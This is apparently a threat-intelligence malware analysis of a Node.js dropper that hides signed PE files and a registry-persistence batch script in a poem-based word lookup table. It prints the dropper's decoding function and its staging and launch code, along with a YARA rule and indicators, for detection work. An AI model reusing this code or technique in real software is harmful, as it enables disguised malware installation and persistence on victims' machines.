typeanalysisfamilyletsdiskusscomconfidencemediumcreated2026-06-13updated2026-06-13scriptnodejsobfuscationevasionmalware-familyloaderpersistence
SHA-256: 247b54b524dcdd1a4dbe76ac11473ba26ea003193ad86216fe411f9b80e8c7fb

letsdiskusscom: 247b54b5 — 7.9 MB Node.js poem dropper, third sibling, swaps msvcp140.dll version

Executive Summary

Third confirmed sibling in the letsdiskusscom cluster. A 7.9 MB Node.js script using the same 256-word English poem lookup-table as sibling d0ca14b3 to encode four embedded PE files and a persistence BAT. Reuses the identical signed Revo Uninstaller EXE and two VC++ runtime DLLs from prior siblings, but swaps msvcp140.dll for a smaller version (938 KB vs 1.1 MB). Stages to %ProgramData%\Microsoft Edge Updates Helper qZWpLKQXEGaa\ and establishes HKCU\Run persistence via the embedded BAT. No C2 — fully self-contained. ^[file.txt] ^[triage.json]

What It Is

  • File: 247b54b524dcdd1a4dbe76ac11473ba26ea003193ad86216fe411f9b80e8c7fb.js (7,937,893 bytes) ^[exiftool.json]
  • Format: JavaScript source, ASCII text, 60 lines with CRLF terminators, very long lines (63,365 chars max) ^[file.txt]
  • Family: letsdiskusscom (OpenCTI label letsdiskuss-com; now n=3 siblings; confidence medium) ^[triage.json]
  • Dynamic analysis: CAPE skipped — JS source not a supported binary class ^[dynamic-analysis.md]

Embedded payloads (decoded from poem-word indices)

Payload SHA-256 Size Type Notes
EXE 8b94af60...7fc55f 52,400 PE32+ x64 console RevoSrp.exe, VS Revo Group, MSVC 14.44, DigiCert signed ^[rabin2-info.txt: decoded_exe.bin]
DLL1 01f5dfca...0095ee 938,496 PE32+ x64 DLL msvcp140.dll, Microsoft, MSVC 14.27, signed ^[rabin2-info.txt: decoded_dll1.bin]
DLL2 ff43e813...4c833 101,672 PE32+ x64 DLL vcruntime140.dll, Microsoft, MSVC 14.27, signed ^[rabin2-info.txt: decoded_dll2.bin]
DLL3 7b8f70dd...6dfc7 44,328 PE32+ x64 DLL vcruntime140_1.dll, Microsoft, MSVC 14.27, signed ^[rabin2-info.txt: decoded_dll3.bin]
BAT dff20059...06919 440 DOS batch reg add HKCU Run persistence ^[manual decode of decoded_bat.bin]

Cluster hash comparison:

File 9dc2cded (sibling 1) d0ca14b3 (sibling 2) 247b54b5 (this)
EXE 8b94af60... 8b94af60... 8b94af60... (match)
msvcp140.dll unknown 0f4290cf... (1,187,328 B) 01f5dfca... (938,496 B) (different)
vcruntime140.dll unknown ff43e813... ff43e813... (match)
vcruntime140_1.dll unknown 7b8f70dd... 7b8f70dd... (match)
BAT N/A dff20059... dff20059... (match)

The operator reused the signed Revo EXE and the two smaller VC++ DLLs across all three samples, but changed the msvcp140.dll version between sibling 2 and this one. This suggests opportunistic bundling of whatever VC++ redist was at hand rather than a fixed build pipeline.

How It Works

Poem-word-list steganography

Identical mechanism to sibling d0ca14b3: a 256-word English poem serves as a byte lookup table. Each payload byte is encoded as a word from the poem; at runtime the script maps word→index→byte and writes the reconstructed buffer to disk. ^[strings.txt:6]

The word list itself is byte-for-byte identical to sibling d0ca14b3 — SHA-256 537ace43...86f1937. The operator copy-pasted the same poem across builds, changing only the encoded payload strings and the random folder suffix. ^[manual hash comparison of wlist]

function writePositionsToFile(listA, listB, outPath) {
  const a = listA.split(' ');
  const b = listB.split(' ');
  const positions = b.map(word => {
    const idx = a.indexOf(word);
    return idx >= 0 ? idx : 0;
  });
  const buffer = Buffer.from(positions.map(p => p & 0xFF));
  fs.writeFileSync(outPath, buffer);
}

^[strings.txt:18-26]

Staging and execution

const folder = path.join(process.env.PROGRAMDATA || "C:\\ProgramData", `Microsoft Edge Updates Helper qZWpLKQXEGaa`);
const exePath = path.join(folder, "Microsoft Edge Updates Helper.exe");
const autorunPath = path.join(folder, "qZWpLKQXEGaa.bat");
// ... plus three DLL paths
safeMakeDir(folder);
writePositionsToFile(wlist, exe, exePath);
writePositionsToFile(wlist, dll1, dll1Path);
writePositionsToFile(wlist, dll2, dll2Path);
writePositionsToFile(wlist, dll3, dll3Path);
writePositionsToFile(wlist, bat, autorunPath);
launchExecutable(`"${autorunPath}"`, [`"${exePath}"`]);
launchExecutable(`"${exePath}"`);

^[strings.txt:12-17] ^[strings.txt:27-41]

Folder suffix changed from o4Rz8i5zIF8Y (sibling 2) to qZWpLKQXEGaa (this sample). The BAT filename matches the suffix.

Persistence BAT (decoded)

Identical to sibling d0ca14b3 — byte-for-byte match by SHA-256. A defensive-style batch script that validates the argument exists, suppresses output, and writes HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge Updates Helper pointing to the dropped EXE. ^[manual decode of decoded_bat.bin]

Build differences from siblings

Feature 9dc2cded d0ca14b3 247b54b5 (this)
Encoding Base64 string array 256-word poem 256-word poem (same poem)
Obfuscator javascript-obfuscator self-defend IIFE None None
Size 1.8 MB 9.7 MB 7.9 MB
Persistence None BAT reg add HKCU Run BAT reg add HKCU Run (same BAT)
msvcp140.dll unknown 1,187,328 B 938,496 B (different version)
vcruntime140.dll unknown 101,672 B 101,672 B (match)
vcruntime140_1.dll unknown 44,328 B 44,328 B (match)
EXE 8b94af60... 8b94af60... 8b94af60... (match)
Folder suffix o4Rz8i5zIF8Y o4Rz8i5zIF8Y qZWpLKQXEGaa

Decompiled Behavior

Not applicable — pure JavaScript source. No compilation; no Ghidra/radare2 decompilation required. The script is fully readable after extraction. ^[rabin2-info.txt] ^[capa.txt]

C2 Infrastructure

None. Fully self-contained carrier. All payloads embedded via poem encoding. No network references in the JS. The Revo EXE may phone home at runtime, but that would require PE-level dynamic analysis (not available). ^[strings.txt] ^[dynamic-analysis.md]

Interesting Tidbits

  • Identical poem reused across builds. The 256-word lookup table is copy-pasted verbatim from sibling d0ca14b3. The author did not regenerate the poem, suggesting either laziness or the poem is generated by a shared build script. ^[manual hash comparison of wlist]
  • dll4Path dead code still present. Same copy-paste error as sibling 2: const dll4Path = path.join(folder, "qZWpLKQXEGaa.bat") is declared but never passed to writePositionsToFile. The BAT is written via autorunPath instead. ^[strings.txt:17]
  • Smaller file than sibling 2 despite same payloads. This sample is 7.9 MB vs 9.7 MB. The difference is in the encoded payload strings — this build's exe, dll1, dll2, dll3, and bat strings are shorter (fewer padding repetitions), suggesting the operator regenerated the encoded strings with less noise or a different encoding wrapper.
  • Same signed payload, different runtime bundle. The operator kept the Revo EXE and two small VC++ DLLs constant but swapped the msvcp140.dll for a different version. This is consistent with bundling whatever VC++ redist was locally available rather than a fixed dependency manifest.
  • No Node.js bundler. Same as siblings — no package.json, no portable Node.js runtime. The victim must have Node.js pre-installed or receive it alongside the script.

How To Mess With It (Homelab Replication)

See sibling d0ca14b3 report and the poem-word-list-steganography technique page for full reproduction steps. The only delta for this sample is the folder suffix and the slightly different encoded string lengths, which do not affect the decoding logic.

Deployable Signatures

YARA — Node.js poem-word-list dropper (updated n=3)

rule NodeJS_PoemWordList_Dropper
{
    meta:
        description = "Node.js dropper using a 256-word natural-language lookup table to encode embedded PE payloads"
        author = "PacketPursuit"
        date = "2026-06-13"
        hash = "247b54b524dcdd1a4dbe76ac11473ba26ea003193ad86216fe411f9b80e8c7fb"
    strings:
        $a1 = "const fs = require('fs');" ascii
        $a2 = "const path = require('path');" ascii
        $a3 = "const { spawn } = require('child_process');" ascii
        $b1 = "writePositionsToFile" ascii
        $b2 = "Buffer.from(positions.map(p => p & 0xFF))" ascii
        $b3 = "fs.writeFileSync(outPath, buffer)" ascii
        $c1 = "Microsoft Edge Updates Helper" ascii
        $c2 = "PROGRAMDATA" ascii
        $c3 = "reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"" ascii
        $d1 = "gentle hush that wraps the midnight air" ascii
        $pe_hdr = { 4D 5A }
    condition:
        filesize > 1MB and filesize < 20MB and
        2 of ($a*) and
        2 of ($b*) and
        1 of ($c*) and
        $d1 and
        $pe_hdr
}

Sigma — BAT-based registry persistence after Node.js file drop

Same as sibling d0ca14b3. See that report for the full Sigma YAML.

IOC list

Indicator Value Type
SHA-256 (carrier) 247b54b524dcdd1a4dbe76ac11473ba26ea003193ad86216fe411f9b80e8c7fb Hash
SHA-256 (embedded EXE) 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f Hash
SHA-256 (embedded msvcp140) 01f5dfca48889460c739aedadf8dbe9840617d2ca59185238faff0d8f60095ee Hash
SHA-256 (embedded vcruntime140) ff43e813785ee948a937b642b03050bb4b1c6a5e23049646b891a66f65d4c833 Hash
SHA-256 (embedded vcruntime140_1) 7b8f70dd3bdae110e61823d1ca6fd8955a5617119f5405cdd6b14cad3656dfc7 Hash
SHA-256 (embedded BAT) dff20059f161090c76f9f45ac2269f2965bdc96023c78c1072f8d1aa66b06919 Hash
Install path C:\ProgramData\Microsoft Edge Updates Helper qZWpLKQXEGaa\ Path
Dropped EXE name Microsoft Edge Updates Helper.exe Filename
Registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge Updates Helper Registry
BAT file qZWpLKQXEGaa.bat Filename
Node.js API writePositionsToFile JS function

Behavioral fingerprint

Same as siblings: a Node.js process creates a %ProgramData%\Microsoft Edge Updates Helper <random>\ directory, writes five files (EXE + three DLLs + BAT), spawns the BAT with the EXE path as argument (BAT adds HKCU Run persistence), then immediately spawns the EXE directly. No network activity from the carrier. Detection focus: node.exe writing PE files to %ProgramData%\Microsoft Edge*, followed by reg.exe Run-key modification, followed by child process creation.

Detection Signatures

MITRE ATT&CK Technique Evidence
T1059.007 Command and Scripting Interpreter: JavaScript Node.js script execution, require('child_process') ^[strings.txt:1-3]
T1027.002 Obfuscated Files or Information: Software Packing 256-word poem lookup-table hides PE payloads in natural-language text ^[strings.txt:6]
T1547.001 Boot or Logon Autostart Execution: Registry Run Keys BAT writes HKCU\Software\Microsoft\Windows\CurrentVersion\Run via reg add ^[manual decode of decoded_bat.bin]
T1036.005 Masquerading: Match Legitimate Name or Location Microsoft Edge Updates Helper directory and registry value name ^[strings.txt:5]
T1204.002 User Execution: Malicious File Requires victim to run .js file (delivery vector unknown)

References

  • MalwareBazaar artifact: 247b54b524dcdd1a4dbe76ac11473ba26ea003193ad86216fe411f9b80e8c7fb
  • OpenCTI label: letsdiskuss-com
  • Sibling analysis 1: /intel/analyses/9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34.html
  • Sibling analysis 2: /intel/analyses/d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b.html
  • Related wiki: letsdiskusscom — entity page for this family/cluster
  • Related wiki: poem-word-list-steganography — technique page for the encoding method
  • Related wiki: natural-language-payload-encoding — concept page for prose-based payload hiding
  • Related wiki: registry-run-persistence — procedure page for the BAT-based Run key technique

Provenance

Analysis derived from:

  • file.txt — file type identification
  • exiftool.json — metadata extraction
  • triage.json — triage pipeline classification
  • strings.txt — raw strings extraction (line-referenced)
  • floss.txt — FireEye floss (errored: JS input unsupported) ^[floss.txt]
  • capa.txt — Mandiant capa (errored: unsupported file format) ^[capa.txt]
  • binwalk.txt — no meaningful signatures ^[binwalk.txt]
  • rabin2-info.txt — radare2 header summary (no code) ^[rabin2-info.txt]
  • dynamic-analysis.md — CAPE sandbox skipped (JS source not supported) ^[dynamic-analysis.md]
  • Manual poem-word-list decoding via Python script (produced decoded_*.bin files)
  • Manual PE verification via rabin2 -I and sha256sum

Tool versions: file 5.44, exiftool 12.76, radare2 5.9.0, capa 7.0.1, Node.js v22.22.3.